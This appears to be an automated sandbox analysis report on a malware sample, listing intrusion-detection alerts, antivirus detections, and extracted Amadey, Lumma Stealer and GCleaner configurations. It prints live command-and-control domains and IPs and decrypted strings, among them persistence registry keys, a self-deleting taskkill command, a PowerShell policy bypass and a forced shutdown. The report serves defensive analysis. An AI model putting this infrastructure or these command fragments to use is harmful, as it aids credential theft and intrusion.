2025-03-07T20:05:31.554197+0100	2028371	3	Unknown Traffic	192.168.2.7	50035	104.21.64.1	443	TCP
2025-03-07T20:05:36.625588+0100	2028371	3	Unknown Traffic	192.168.2.7	50040	188.114.97.3	443	TCP
2025-03-07T20:05:38.421894+0100	2028371	3	Unknown Traffic	192.168.2.7	50042	104.21.64.1	443	TCP
2025-03-07T20:05:40.239426+0100	2028371	3	Unknown Traffic	192.168.2.7	50044	104.21.64.1	443	TCP
2025-03-07T20:05:42.011600+0100	2028371	3	Unknown Traffic	192.168.2.7	50046	104.21.16.1	443	TCP
2025-03-07T20:05:43.928798+0100	2028371	3	Unknown Traffic	192.168.2.7	50047	23.197.127.21	443	TCP
2025-03-07T20:05:45.948408+0100	2028371	3	Unknown Traffic	192.168.2.7	50049	23.197.127.21	443	TCP
2025-03-07T20:05:48.604272+0100	2028371	3	Unknown Traffic	192.168.2.7	50051	104.73.234.102	443	TCP
2025-03-07T20:05:50.544640+0100	2028371	3	Unknown Traffic	192.168.2.7	50053	104.73.234.102	443	TCP
2025-03-07T20:05:52.461574+0100	2028371	3	Unknown Traffic	192.168.2.7	50055	104.73.234.102	443	TCP
2025-03-07T20:05:54.396796+0100	2028371	3	Unknown Traffic	192.168.2.7	50057	104.73.234.102	443	TCP
2025-03-07T20:08:00.705478+0100	2028371	3	Unknown Traffic	192.168.2.7	52494	188.114.97.3	443	TCP
2025-03-07T20:08:03.974507+0100	2028371	3	Unknown Traffic	192.168.2.7	52496	188.114.97.3	443	TCP
2025-03-07T20:08:25.783812+0100	2028371	3	Unknown Traffic	192.168.2.7	52507	188.114.97.3	443	TCP
2025-03-07T20:08:48.313419+0100	2028371	3	Unknown Traffic	192.168.2.7	52518	188.114.97.3	443	TCP
2025-03-07T20:08:51.214230+0100	2028371	3	Unknown Traffic	192.168.2.7	52521	188.114.97.3	443	TCP
2025-03-07T20:08:53.987162+0100	2028371	3	Unknown Traffic	192.168.2.7	52523	188.114.97.3	443	TCP
2025-03-07T20:08:57.055051+0100	2028371	3	Unknown Traffic	192.168.2.7	52525	188.114.97.3	443	TCP

ET MALWARE LUMAR Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:06:55.630921+0100	2048736	1	A Network Trojan was detected	192.168.2.7	50093	185.244.212.106	2227	TCP
2025-03-07T20:06:59.103628+0100	2048736	1	A Network Trojan was detected	192.168.2.7	50097	185.244.212.106	2227	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (collapimga .fun)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:25.258707+0100	2060410	1	Domain Observed Used for C2 Detected	192.168.2.7	65514	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (earthsymphzony .today)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:25.330320+0100	2060412	1	Domain Observed Used for C2 Detected	192.168.2.7	65445	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (foresctwhispers .top)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:25.102404+0100	2060414	1	Domain Observed Used for C2 Detected	192.168.2.7	64555	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (quietswtreams .life)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:25.306098+0100	2060416	1	Domain Observed Used for C2 Detected	192.168.2.7	60254	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seizedsentec .online)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:25.271541+0100	2060418	1	Domain Observed Used for C2 Detected	192.168.2.7	56565	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (starrynsightsky .icu)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:25.316756+0100	2060420	1	Domain Observed Used for C2 Detected	192.168.2.7	53305	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (strawpeasaen .fun)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:25.295473+0100	2060422	1	Domain Observed Used for C2 Detected	192.168.2.7	64600	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tracnquilforest .life)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:25.245808+0100	2060424	1	Domain Observed Used for C2 Detected	192.168.2.7	51280	1.1.1.1	53	UDP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:07.073727+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49681	176.113.115.6	80	TCP
2025-03-07T20:06:20.548951+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50078	176.113.115.6	80	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T20:01:11.677256+0100	2803305	3	Unknown Traffic	192.168.2.7	49683	176.113.115.7	80	TCP
2025-03-07T20:01:20.619117+0100	2803305	3	Unknown Traffic	192.168.2.7	49687	176.113.115.7	80	TCP
2025-03-07T20:01:27.485092+0100	2803305	3	Unknown Traffic	192.168.2.7	49692	176.113.115.7	80	TCP
2025-03-07T20:01:33.531476+0100	2803305	3	Unknown Traffic	192.168.2.7	49700	176.113.115.7	80	TCP
2025-03-07T20:01:41.367685+0100	2803305	3	Unknown Traffic	192.168.2.7	49706	176.113.115.7	80	TCP
2025-03-07T20:01:48.333709+0100	2803305	3	Unknown Traffic	192.168.2.7	49710	176.113.115.7	80	TCP
2025-03-07T20:01:54.788696+0100	2803305	3	Unknown Traffic	192.168.2.7	49716	176.113.115.7	80	TCP
2025-03-07T20:06:52.064192+0100	2803305	3	Unknown Traffic	192.168.2.7	50090	176.113.115.7	80	TCP
2025-03-07T20:07:55.012641+0100	2803305	3	Unknown Traffic	192.168.2.7	52491	176.113.115.7	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AaxpYFDQ32.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://strawpeasaen.fun:443/apiUq	Avira URL Cloud: Label: malware
Source: https://starrynsightsky.icu:443/api~r9	Avira URL Cloud: Label: malware
Source: https://garagedrootz.top:443/oPsoJANGoogle	Avira URL Cloud: Label: malware
Source: https://arisechairedd.shop/JnsHY	Avira URL Cloud: Label: malware
Source: https://garagedrootz.top/	Avira URL Cloud: Label: malware
Source: https://garagedrootz.top:443/oPsoJANault-release/key4.dbPK	Avira URL Cloud: Label: malware
Source: https://catterjur.run/boSnzhuK	Avira URL Cloud: Label: malware
Source: https://foresctwhispers.top:443/api	Avira URL Cloud: Label: malware
Source: https://modelshiverd.icu/bJhnsjd	Avira URL Cloud: Label: malware
Source: https://foresctwhispers.top/api	Avira URL Cloud: Label: malware
Source: https://fostinjec.today:443/LksNAzNMicrosoft	Avira URL Cloud: Label: malware
Source: https://garagedrootz.top/2)	Avira URL Cloud: Label: malware
Source: https://garagedrootz.top/oPsoJAN	Avira URL Cloud: Label: malware
Source: https://starrynsightsky.icu/P	Avira URL Cloud: Label: malware
Source: https://catterjur.run/	Avira URL Cloud: Label: malware
Source: https://arisechairedd.shop:443/JnsHYMicrosoft	Avira URL Cloud: Label: malware
Source: https://catterjur.run/boSnzhuZ	Avira URL Cloud: Label: malware
Source: https://starrynsightsky.icu/api	Avira URL Cloud: Label: malware
Source: https://garagedrootz.top/p	Avira URL Cloud: Label: malware
Source: https://catterjur.run/3(	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\10128890101\3353aa7d43.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\soft[1]	Avira: detection malicious, Label: TR/AVI.Agent.vwjow
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Avira: detection malicious, Label: HEUR/AGEN.1314794
Source: C:\Users\user\AppData\Local\Temp\vDG3ze8tYG37\Y-Cleaner.exe	Avira: detection malicious, Label: TR/AVI.Agent.vwjow
Source: C:\Users\user\AppData\Local\Temp\10128880101\2009d9de82.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\10128850101\7f41c1bc85.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1314794
Source: C:\Users\user\AppData\Local\Temp\10128870101\4bcefcec83.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["dawtastream.bet", "foresctwhispers.top", "tracnquilforest.life", "collapimga.fun", "seizedsentec.online", "strawpeasaen.fun", "quietswtreams.life", "starrynsightsky.icu"], "Build id": "tw1SlF--"}
Source: 4.2.c2f48edf32.exe.de98000.2.raw.unpack	Malware Configuration Extractor: GCleaner {"C2 addresses": ["45.91.200.135", "185.156.73.73"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\vDG3ze8tYG37\Y-Cleaner.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: AaxpYFDQ32.exe	Virustotal: Detection: 77%			Perma Link
Source: AaxpYFDQ32.exe	ReversingLabs: Detection: 71%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 176.113.115.6
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: /Ni9kiput/index.php
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: S-%lu-
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bb556cff4a
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rapes.exe
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Startup
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rundll32
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Programs
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: %USERPROFILE%
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cred.dll
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clip.dll
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: http://
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: https://
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: /quiet
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: /Plugins/
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: &unit=
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shell32.dll
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: kernel32.dll
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ProgramData\
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: AVAST Software
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Kaspersky Lab
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Panda Security
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Doctor Web
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 360TotalSecurity
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Bitdefender
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Norton
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Sophos
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Comodo
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: WinDefender
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 0123456789
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ------
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ?scr=1
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ComputerName
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: -unicode-
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: VideoID
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: DefaultSettings.XResolution
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: DefaultSettings.YResolution
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ProductName
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: CurrentBuild
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rundll32.exe
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: "taskkill /f /im "
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: " && timeout 1 && del
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: && Exit"
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: " && ren
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Powershell.exe
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: -executionpolicy remotesigned -File "
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shutdown -s -t 0
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: random
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Keyboard Layout\Preload
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 00000419
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 00000422
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 00000423
Source: 00000000.00000002.979448943.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 0000043f
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: dawtastream.bet
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: foresctwhispers.top
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tracnquilforest.life
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: collapimga.fun
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: seizedsentec.online
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: strawpeasaen.fun
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: quietswtreams.life
Source: 00000006.00000003.1273461522.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: starrynsightsky.icu

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_007034B0 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,	13_2_007034B0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041B1D8 CryptUnprotectData,CryptUnprotectData,CryptUnprotectData,	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041B1D8 CryptUnprotectData,CryptUnprotectData,CryptUnprotectData,	15_2_0041B1D8
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_0041B55A CryptUnprotectData,	15_2_0041B55A

Source: AaxpYFDQ32.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49783 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.7:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.7:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.7:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.7:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52494 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52518 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52521 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52523 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52525 version: TLS 1.2

Source:	Binary string: C:\Users\Hand1\source\repos\Portals\Portals\obj\Release\Portals.pdb source: 5a20da7e37.exe, 0000000E.00000002.1698267306.0000000003859000.00000004.00000800.00020000.00000000.sdmp, 5a20da7e37.exe, 0000000E.00000000.1307749216.0000000000442000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: BitLockerToGo.pdb source: c2f48edf32.exe, 00000004.00000002.1345225664.000000000DFF4000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Hand1\source\repos\Portals\Portals\obj\Release\Portals.pdb<;V; H;_CorExeMainmscoree.dll source: 5a20da7e37.exe, 0000000E.00000002.1698267306.0000000003859000.00000004.00000800.00020000.00000000.sdmp, 5a20da7e37.exe, 0000000E.00000000.1307749216.0000000000442000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: c2f48edf32.exe, 00000004.00000002.1345225664.000000000DFF4000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00715E67 FindFirstFileExW,	13_2_00715E67
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_100081AE FindFirstFileExW,	13_2_100081AE
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 15_2_703BC027 FindFirstFileExA,	15_2_703BC027

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then mov word ptr [eax], cx	15_2_00411822
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+esi-000000FEh]	15_2_0044D0C0
Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax]	15_2_004300B0
